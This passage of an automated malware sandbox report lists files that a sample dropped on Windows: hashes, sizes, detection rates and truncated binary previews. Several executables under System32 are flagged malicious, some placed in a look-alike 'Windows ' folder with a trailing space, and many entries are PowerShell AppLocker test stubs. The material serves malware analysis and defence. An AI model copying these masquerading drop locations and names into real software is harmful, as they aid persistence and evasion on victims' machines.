Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....\|.....................d.............................P................ ......................................................0..P....................@..h........................... ..(....................................................text...({.......\|..................`.P`.data...............................@.P..rdata..............................@.P@.pdata..............................@.0@.xdata..............................@.0@.bss..................................p..edata..............................@.0@.idata..............................@.0..CRT....`...........................@.@..tls....h.... ......................@.`..rsrc...P....0......................@.0..reloc..h....@......................@.0B................................................................................................................................

C:\Windows\System32\ucrtbased.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1786880
Entropy (8bit):	6.056894707447503
Encrypted:	false
SSDEEP:	24576:JUV0C8E3W4JoceLErS6P0qoc6uoPrT5PgVBHmaw+zrGOzli7Gi0m9ZRXyYk:i8/B90ozghlGJ7js
MD5:	C3130CFB00549A5A92DA60E7F79F5FC9
SHA1:	56C2E8FB1AF609525B0F732BB67B806BDDAB3752
SHA-256:	EEE42EABC546E5AA760F8DF7105FCF505ABFFCB9EC4BF54398436303E407A3F8
SHA-512:	29BAB5B441484BDFAC9EC21CD4F0F7454AF05BFD7D77F7D4662AEAEAA0D3E25439D52AA341958E7896701546B4A607D3C7A32715386C78B746DFAE8529A70748
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'.S.c.=.c.=.c.=.j...P.=.c.<...=..}.b.=..}.S.=..}.'.=..}...=..}.u.=..}.b.=..}.b.=.Richc.=.........PE..d...~.!U.........." .................................................................g....`A........................................p........C..................x................... ...............................`...................H............................text............................... ..`.rdata...x.......z..................@..@.data...(Z...`...$...J..............@....pdata..x............n..............@..@.rsrc................2..............@..@.reloc...............8..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\usvcinsta64.exe

Download File

Process:	C:\Windows\System32\Z369335.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14701056
Entropy (8bit):	6.553846434987073
Encrypted:	false
SSDEEP:	393216:UPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRC86BxlXnwXAaGueVWDXSdEVB3:UITkg0
MD5:	43C6FE029E5715FD35DA5197439DF163
SHA1:	DADA167FBCF23AAF76C4853F688C14EBAEE29333
SHA-256:	09A4013310837B330898BD32FC9159CBBCE4B3DC7D5E93306CE7233F599DDF29
SHA-512:	32D3F8DA310A1AA87DB8E1CBFE4595E44B8C0F7196083BE3922D8F3ED01ADDFD31219556EA977C37B3DF1605D5C12F3DDE0184532500AC679F05E30AA6D30CC8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........B...,...,...,.L).F.,.L(...,.L/...,..I/...,..I(...,..I)..,.L-...,...-.}.,.H%...,.H....,.H....,.Rich..,.........................PE..d......f.........."....).(...>.................@..........................................`.....................................................P............P..<-..................`...8........................... ...@............@..`............................text....&.......(.................. ..`.rdata..>....@.......,..............@..@.data...h,... ......................@....pdata..<-...P......................@..@.fptable.............D..............@....rsrc................F..............@..@.reloc...............H..............@..B................................................................................................................................................................................................

C:\Windows\System32\vcruntime140d.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131920
Entropy (8bit):	6.0574531251583865
Encrypted:	false
SSDEEP:	1536:QB6NlnzaWMj6FBknM+eHLEQE9gHAWdwfP5sd4Sohg7vMHvqZecb399R0BqZEBFP:QBYl5MOcM1HAb1wM0ecb39/0BqZEjP
MD5:	F57FB935A9A76E151229F547C2204BBA
SHA1:	4021B804469816C3136B40C4CEB44C8D60ED15F5
SHA-256:	A77277AF540D411AE33D371CC6F54D7B0A1937E0C14DB7666D32C22FC5DCA9C0
SHA-512:	CD9FC3FC460EBA6A1B9F984B794940D28705ECB738DF8595C2341ABE4347141DB14A9FF637C9F902E8742F5C48BBB61DA7D5E231CC5B2BAD2E8746C5A3E3E6ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........].AB<..B<..B<....h.@<....L.A<..B<..l<..yb..I<..yb..V<..yb..Z<..yb..C<..yb\.C<..yb..C<..RichB<..................PE..d....LZW.........." .....j...\......pg....................................... ...........`A...........................................4.......<.......................P?......t...p...T...........................................................................text....h.......j.................. ..`.rdata..F5.......6...n..............@..@.data...............................@....pdata..............................@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..t...........................@..B........................................................................................................................................................................................................................

C:\Windows\System32\winoldsvcdlt32

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	31
Entropy (8bit):	4.300497519854926
Encrypted:	false
SSDEEP:	3:I5SMAWAI4Xe:IB2u
MD5:	2FBA7C3826B1E28D8EB6E2E2875B214A
SHA1:	F60B05BEE0A86440973D73DBDC0A7E15E9A56A4F
SHA-256:	7C0F728C40E6952D156AC268E27A35AD725A1D3B287644F99F1A8AA2DDC8E2E9
SHA-512:	A014A0E0BD11952B4ECC9C05576A399B1A3B7202A3C2F6CD3BB48F9A7099E302489B80622C67D1C822F736D12E999381A1876981E91C635FF566827EB6937D1C
Malicious:	false
Preview:	c:\windows\system32\Z422697.dat

C:\Windows\System32\winsvcf\Z369335.exe

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15187968
Entropy (8bit):	6.5560711404858925
Encrypted:	false
SSDEEP:	393216:mPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRC86BxlXnwXAaGueVWDXSdEVB3:mITkg0
MD5:	D3A3F2DB2AA3FD494F3E67601087AB23
SHA1:	4082E3B6E0DF9F40E635E1747BAE1BBAA4C724A6
SHA-256:	892D014309BF392B7D5B4837EC41BFE1C545713B026F8249104D9C45E738D7F4
SHA-512:	6802A76D01BA5A756C8B8F05B4EAF893768F8574F7A63509D21D8108EF5D93AD29447B839568306EECB3F294C5429E5B0B0BF772627F42BF578C6494DA3A438C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........l..?..?..?.,.>`..?.,.>..?.,.>..?.).>..?.).>..?.).>...?.,.>..?..?V..?.(.>..?.(z?..?.(.>..?Rich..?........PE..d.....f.........."....).............5.........@..........................................`.................................................d_..<................7......................8...............................@...............`............................text............................... ..`.rdata.............................@..@.data... /...p.......`..............@....pdata...7.......8...x..............@..@.fptable............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Windows\System32\winsvcf\Z753638.exe

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15187968
Entropy (8bit):	6.5560711404858925
Encrypted:	false
SSDEEP:	393216:mPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRC86BxlXnwXAaGueVWDXSdEVB3:mITkg0
MD5:	D3A3F2DB2AA3FD494F3E67601087AB23
SHA1:	4082E3B6E0DF9F40E635E1747BAE1BBAA4C724A6
SHA-256:	892D014309BF392B7D5B4837EC41BFE1C545713B026F8249104D9C45E738D7F4
SHA-512:	6802A76D01BA5A756C8B8F05B4EAF893768F8574F7A63509D21D8108EF5D93AD29447B839568306EECB3F294C5429E5B0B0BF772627F42BF578C6494DA3A438C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........l..?..?..?.,.>`..?.,.>..?.,.>..?.).>..?.).>..?.).>...?.,.>..?..?V..?.(.>..?.(z?..?.(.>..?Rich..?........PE..d.....f.........."....).............5.........@..........................................`.................................................d_..<................7......................8...............................@...............`............................text............................... ..`.rdata.............................@..@.data... /...p.......`..............@....pdata...7.......8...x..............@..@.fptable............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Windows\System32\winsvcf\winlogsvc

Download File

Process:	C:\Windows\System32\loaddll64.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.418311512500331
Encrypted:	false
SSDEEP:	12:qiKv76DDN8dkFZrg1bBOEe348Tzr4+oGr8AEkGf9izfQZcbM:qissNyeZrgqEeIaQXi8HkGffeQ
MD5:	69A917E87181C8AE22D12BC473804047
SHA1:	2669775DAA5D3001F9D39053BFE8843A2845DA11
SHA-256:	F0552385109708DC77E1BFB3B27C684313396282211AAEC01CC742E4F98184DB
SHA-512:	E0D31E53F7821A60D0D264ED436239EABC995315F5D20CDAE6A7F9DC16E5E1857D284679B3208E2BE748DDF6977325E8BAD75987CE2D2DC7AD87CBBA883298FB
Malicious:	false
Preview:	.....S.N....A........)x.a.m..l....w...Q7.....Y.D[.......ip...d9....;._.....H....g..?U.v.q.u..B_8....LF.....B.9Q...Y9@x.....d..s.jwo$.\..n1.Sk...........dk.!Ov....Cj....$...p.....e.Br...q3....S.xX.Y.T.m).N.3. M7W...HH.U.WW...}...@...`aC7Z.W.....:....C....S.N..c...\|.\(...3..w.r...Y.!......s..%........N..K.]E.jYj.`....W.@.[.`.w.djd....O1.\.+<.{..d.........DQf..,m.(F.>r.\...b.M.f.. ~XK

C:\Windows\System32\x841418.dat

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	2258944
Entropy (8bit):	6.550379010748796
Encrypted:	false
SSDEEP:	24576:t9bCQJTnE+lpZd7fi+GHLpSdfPh0lhSMXlWqdVTFk9sJ3h0lhSMXlH5b6Po7al9M:tJCQFnEIAHLpkujVTFkKWh6P7FGcQT
MD5:	22772393AA302E190F822A9049882D98
SHA1:	8C5E2FBB4951B701ADD0C74F099350253140464E
SHA-256:	D29C9219717C3C1BE88459E2B19400848A2B308376A9A41169016A479982E420
SHA-512:	474E5E9428BA874DD299F21643EA6495338CCA40A45721EFB9CD568783AFACD04CD2FE541A43F403FA6794A0C51DC258530E1C58D6D9DFF6B850F5FDCBF3BF20
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......A.%..iK..iK..iK.u.N..iK.u.H..iK...O..iK.M.J..iK.u.O..iK...H..iK...N..iK.j.J..iK.u.J..iK..iJ..hK.M.B..iK.M.K..iK.M..iK.M.I..iK.Rich.iK.........................PE..d...*..f.........." ...).$....................................................#...........`...........................................!.P.....!......."......0".x.............".l...P. .8..................... .(..... .@............@...............................text....".......$.................. ..`.rdata...c...@...d...(..............@..@.data...4}....!..J....!.............@....pdata..x....0".......!.............@..@.fptable......"......\".............@....rsrc........."......^".............@..@.reloc..l....."......`".............@..B........................................................................................................................................................................

C:\Windows\System32\zlib1.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	90624
Entropy (8bit):	6.511410074418791
Encrypted:	false
SSDEEP:	1536:EarCl5V5lEwda1RnSbFfbpYwayRyivl9bEKIOcIOZgyZ6rM3SIryPoIKr:EKcV5lEwUbShbpbaCpvsYSZgU6A3SIrf
MD5:	BB78414FB31B53EF8FAD8AFBEDBB834C
SHA1:	2CA62ED9A628E17887C0C9E5C07A2CC44B926EF8
SHA-256:	AE8951AD96124A39B63610D7A5A53B446FC7F19151AC1D8E5AC15E8C88227EBF
SHA-512:	9244CDF4EB86AE4071A74D584D170AC3D8F414F13EF3E9E8988C49B3488DC6FA1BB4DBB771635F145AE06484421C1101D120F63D34F3C479CD5F1FF9AAA646AF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................[...a!....a!5...a!....a!....a!..............&....&....&7..._...&....Rich............................PE..d....,Of.........." ...(..................................................................`..........................................O......`W..........P....p..X...............l....>..T...........................`=..@...............x............................text............................... ..`.rdata...m.......n..................@..@.data........`.......L..............@....pdata..X....p.......N..............@..@.rsrc...P............Z..............@..@.reloc..l............`..............@..B........................................................................................................................................................................................................................

C:\Windows\Temp\__PSScriptPolicyTest_0ottl104.5bv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_41ew3kpj.q44.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_4t3eym1a.pzc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_5uhqj1wn.aag.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_a4z2qp5a.mqx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_bj0rmqa1.0wv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_cfjsaa22.o0h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_cs03ba0r.xhz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_czmypabm.ybl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_dxgooyaw.abn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_egoq4y1a.tua.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_fr3dpucs.2os.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_fr4jpowl.5zy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_gnbpslv5.tum.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_hiz2jqir.xpg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_hou0nj4v.1yx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_iwzfpupo.a1l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_jdjzpx4j.lc5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_jimgedyn.cst.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_jllarwt1.fb3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_jqjyhr44.puk.psm1

Download File

